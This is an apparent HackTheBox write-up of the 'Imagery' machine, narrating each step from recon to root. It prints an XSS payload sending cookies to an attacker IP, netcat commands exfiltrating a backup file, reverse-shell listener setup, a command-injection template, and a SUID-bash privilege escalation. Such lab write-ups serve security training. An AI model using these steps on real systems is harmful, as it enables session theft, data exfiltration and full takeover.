Imagery HTB Writeup | HacktheBox | Season 9

Linux · Medium

2025-09-27 06:01:22 - xone

High level attack flow

  1. Recon — port 8000: web app (image gallery) and SSH open. 
  2. Register a regular account, use bug report / XSS to steal an admin session cookie → access admin panel. 
  3. Admin log endpoint has LFI (directory traversal) — retrieve db.json and other app files. 
  4. Analyse api_edit.py (image transform handler) — crop operation uses shell=True and concatenates parameters → command injection possible. 
  5. Use a privileged account (test user) to upload an image and trigger the crop transform with a command injection payload → reverse shell.
  6. On the box: read /var/backup/web_20250806_120723.zip.aes (world-readable) and exfiltrate.
  7. Crack / decrypt the AES-Crypt .aes backup offline with a wordlist (rockyou) using pyAesCrypt wrapper → recover archive → inspect db.json to find other credentials/hashes.
  8. Use an obtained user credential to SSH/switch to the user account and read user.txt.
  9. Privilege escalation: the user can run /usr/local/bin/charcol via sudo — use charcol -R or the interactive charcol shell to reset/pass into a no-password shell, then schedule a recurring task (or set SUID on /usr/bin/bash) to get root → read root.txt.


Access is restricted by HackTheBox rules#
The solution to the problem can be published in the public domain after her retirement.
Look for a non-public solution to the problem in the telegram channel .


1 Initial enumeration

2 Get an admin session

Register a low-priv account and log in. Use the “Report Bug” to submit an XSS payload that exfiltrates cookies (host a simple HTTP server to catch requests). Example payload pattern used in the lab (redacted token):

<img src=1 onerror="document.location='http://<YOUR-IP>/steal/'+ document.cookie">

Catch the admin cookie on your webserver, then inject it into your browser storage (DevTools) to impersonate admin and access /admin pages. Do not post any cookie value here.

3 Local File Inclusion (LFI) via admin log endpoint

The admin endpoint GET /admin/get_system_log?log_identifier=... is concatenated into a path without sanitization. Try directory traversal:

/admin/get_system_log?log_identifier= 

Use this to fetch application files. The lab fetched api_edit.py and db.json to understand the backend and discover credentials.

4) Why RCE is possible

api_edit.py constructs ImageMagick/convert commands as strings and calls them with shell=True. Parameters such as x, y, width, height, degrees, value are concatenated without proper type checks or sanitization — direct shell injection is possible if one of those parameters contains shell metacharacters. Filenames from the DB can also contain .. allowing path traversal.

5) Triggering RCE through the image transform API

Log in as the privileged test user account (lab notes found a test account; password redacted here: [REDACTED-PASSWORD]). Upload an image, go to gallery → transform → choose crop and supply a crafted x (or other numeric) parameter containing a shell payload that opens a reverse shell to your listener. The exact payload used in the lab is omitted and replaced with a conceptual example:Log in as the privileged test user account (lab notes found a test account; password redacted here: [REDACTED-PASSWORD]). Upload an image, go to gallery → transform → choose crop and supply a crafted x (or other numeric) parameter containing a shell payload that opens a reverse shell to your listener. The exact payload used in the lab is omitted and replaced with a conceptual example:

{
  "imageId": "<your-image-id>",
  "transformType": "crop",
  "params": {
    "x": "; <command-injection-goes-here> ;",
    "y": 0,
    "width": 640,
    "height": 640
  }
}


Start a listener (e.g. nc -lvnp 4444 or pwncat) and apply the transform — you should get a shell back.

6 Post-exploit: foothold & sensitive files

After a foothold, upload linpeas.sh and run it to enumerate. Lab notes caught linpeas output showing /var/backup/web_20250806_120723.zip.aes is world-readable (root-owned). This is the encrypted backup to target.


Options to exfiltrate:


Start nc -lvnp 4444 > web_20250806_120723.zip.aes on your host, then on the target nc <YOUR-IP> 4444 < /var/backup/web_20250806_120723.zip.aes


Or copy the file into a web-accessible upload (if you control a web user) and download over HTTP.

7 Decrypt the .aes backup offline


   pyAesCrypt -d web_20250806_120723.zip.aes  # interactive or with -p <password>



Note: I have replaced the actual cracked password shown in the lab with [REDACTED-PASSWORD] and any hash values with [REDACTED-HASH] in this public guide.

8 Using recovered credentials → user shell

From the extracted db.json the lab found another user's password (redacted here). Use that credential to su or ssh to the user account (e.g. su - mark or ssh mark@imagery.htb) and read /home/mark/user.txt.

9 Privilege escalation via charcol

sudo -l shows the user (mark) can run /usr/local/bin/charcol as root without a password. charcol is a small CLI backup tool with:


charcol shell — an interactive shell

charcol -R or --reset-password-to-default — resets the app password to a default (requires sudo in the deployed environment)


Two practical paths used in the lab:


Use sudo charcol -R (with the discovered user password when required) then enter the interactive shell with no password and use the tool's auto add or schedule functionality to create a cron-like recurring task that copies /root/root.txt to /tmp/root.txt and sets it world readable every minute. Exit and read /tmp/root.txt.


Alternatively, schedule a task that runs chmod +s /usr/bin/bash every minute; wait for it to set the SUID bit, then spawn a root shell with /usr/bin/bash -p and read /root/root.txt.

More Posts